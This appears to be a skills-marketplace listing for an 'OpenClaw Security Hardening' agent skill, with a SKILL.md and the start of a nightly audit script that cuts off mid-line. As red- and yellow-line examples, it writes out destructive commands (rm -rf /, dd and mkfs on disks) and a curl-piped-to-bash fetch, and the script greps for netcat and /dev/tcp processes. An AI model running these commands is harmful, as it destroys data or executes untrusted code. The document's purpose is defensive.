Openclaw Security Hardening
Harden a high-privilege OpenClaw autonomous agent with zero-trust controls, red/yellow-line rules, and automated audits before it touches production workflows.
Overview
OpenClaw Security Hardening is an agent skill most often used in Ship (also Operate, Build) that deploys and validates the OpenClaw Security Practice Guide for high-privilege autonomous agents.
Install
npx skills add https://github.com/aradotso/security-skills --skill openclaw-security-hardeningWhat is this skill?
- 3-tier Agentic Zero-Trust matrix: pre-action blacklists, in-action permission narrowing, post-action nightly audits
- 13 core nightly audit metrics plus Git-based disaster recovery
- Skill installation audit protocols and cross-skill pre-flight checks
- Mitigates prompt injection, supply chain poisoning, and destructive operations for OpenClaw
- Trigger-driven flows: deploy guide, validate controls, configure red/yellow-line rules
- 3-tier defense matrix (pre-action, in-action, post-action)
- 13 core metrics in nightly automated audits
Adoption & trust: 568 installs on skills.sh; 1 GitHub stars; 0/3 security scanners passed (skills.sh audits).
What problem does it solve?
You run an autonomous agent with real terminal power but only ad-hoc rules, so prompt injection or a bad skill install could wipe data or leak secrets.
Who is it for?
Solo builders shipping OpenClaw or similarly privileged coding agents who need structured hardening beyond a one-time chmod checklist.
Skip if: Teams only doing static web apps with no agent shell access, or builders who want generic OWASP app scanning without an autonomous-agent threat model.
When should I use this skill?
User asks to harden OpenClaw, deploy the security guide, implement the defense matrix, audit posture, validate controls, set red/yellow-line rules, or configure nightly security audits.
What do I get? / Deliverables
You get a documented zero-trust defense matrix, enforced permission narrowing, nightly audit metrics, and Git-backed recovery paths your agent can re-validate on demand.
- Deployed OpenClaw Security Practice Guide configuration
- Validated security control checklist with audit evidence
- Red/yellow-line rule set and nightly audit schedule
Recommended Skills
Journey fit
Spans multiple journey phases - primary shelf plus alternate fits below.
Security hardening and defense-matrix deployment belong on the Ship shelf because they gate safe release of autonomous agents with terminal/root access. Subphase security matches deploy-time control validation, permission narrowing, and audit posture—not generic app feature work.
Where it fits
Narrow skill and shell permissions and add cross-skill pre-flight checks while wiring OpenClaw integrations.
Deploy the full defense matrix and validate controls before the agent runs unsupervised against your repo.
Run nightly thirteen-metric audits and Git recovery drills after adding third-party skills.
How it compares
Agent-specific zero-trust hardening for OpenClaw—not a generic dependency CVE scanner or passive SAST report.
Common Questions / FAQ
Who is openclaw-security-hardening for?
Indie and solo developers operating OpenClaw or comparable high-privilege AI agents who need install audits, behavior blacklists, and recurring security validation baked into their workflow.
When should I use openclaw-security-hardening?
Use it during Ship when locking down an agent before production, in Operate when re-auditing posture after skill changes, and in Build when tightening agent-tooling permissions and pre-flight checks.
Is openclaw-security-hardening safe to install?
Review the Security Audits panel on this Prism page for published audit results and risk signals before granting your agent the filesystem, git, and shell access this hardening workflow typically requires.
SKILL.md
READMESKILL.md - Openclaw Security Hardening
# OpenClaw Security Hardening > Skill by [ara.so](https://ara.so) — Security Skills collection. This skill enables AI coding agents to deploy, manage, and validate the **OpenClaw Security Practice Guide** — a battle-tested security framework for high-privilege autonomous AI agents. It implements a 3-tier defense matrix: behavioral blacklists, permission narrowing, and automated nightly audits to mitigate prompt injection, supply chain poisoning, and destructive operations. ## What is OpenClaw Security Practice Guide? The OpenClaw Security Practice Guide shifts from traditional host-based static defense to **Agentic Zero-Trust Architecture** for AI agents running with root/terminal access. It provides: - **Pre-action**: Behavior blacklists & strict Skill installation audit protocols - **In-action**: Permission narrowing & cross-skill pre-flight checks - **Post-action**: Nightly automated audits (13 core metrics) & Git-based disaster recovery Designed to be **agent-executable**: the guide itself can be sent directly to OpenClaw for self-deployment. ## Installation ### Clone the Repository ```bash git clone https://github.com/slowmist/openclaw-security-practice-guide.git cd openclaw-security-practice-guide ``` ### Version Selection Choose the appropriate guide version: - **v2.7 (Classic/Legacy)**: For OpenClaw version 2026.3 and earlier - **v2.8 Beta (Enhanced)**: For OpenClaw version 2026.4 and later ```bash # View available guide versions ls -la docs/ # v2.7 English docs/OpenClaw-Security-Practice-Guide.md # v2.8 Beta English (recommended for latest OpenClaw) docs/OpenClaw-Security-Practice-Guide-v2.8.md # Chinese versions also available docs/OpenClaw极简安全实践指南.md docs/OpenClaw极简安全实践指南v2.8.md ``` ## Key Components ### Red/Yellow Line Rules **Red Lines** (absolute prohibitions requiring human confirmation): ```bash # Examples that trigger red line rm -rf / dd if=/dev/zero of=/dev/sda mkfs.ext4 /dev/sda1 systemctl stop critical-service chmod 777 /etc/passwd ``` **Yellow Lines** (high-risk operations requiring pause): ```bash # Examples that trigger yellow line curl https://unknown-domain.com/script.sh | bash pip install unverified-package chmod +x downloaded-binary && ./downloaded-binary git clone untrusted-repo && cd untrusted-repo && npm install ``` ### Nightly Security Audit Script The audit script monitors 13 core security metrics: ```bash #!/usr/bin/env bash # Reference: scripts/nightly-security-audit-v2.8.sh set -euo pipefail OC="${OPENCLAW_ROOT:-$HOME/.openclaw}" REPORT_DIR="$OC/security-reports" REPORT="$REPORT_DIR/security-audit-$(date +%Y%m%d-%H%M%S).txt" mkdir -p "$REPORT_DIR" { echo "=== OpenClaw Nightly Security Audit ===" echo "Timestamp: $(date -Iseconds)" echo "" # 1. Check critical file integrity echo "## 1. Critical File Integrity" if [ -f "$OC/file-hashes.txt" ]; then cd "$OC" md5sum -c file-hashes.txt 2>&1 | head -n 50 else echo "WARN: No baseline hash file found" fi echo "" # 2. Detect unauthorized Skill installations echo "## 2. Unauthorized Skills" if [ -d "$OC/skills" ]; then find "$OC/skills" -type f -name "*.md" -mtime -1 | head -n 20 fi echo "HEALTHY: Skills directory monitored" echo "" # 3. Check for suspicious processes echo "## 3. Suspicious Processes" ps aux | grep -E '(nc|ncat|telnet|/dev/tcp)' | grep -v grep || echo "HEALTHY: No suspicious network processes" echo "" # 4. Monitor SSH configuration c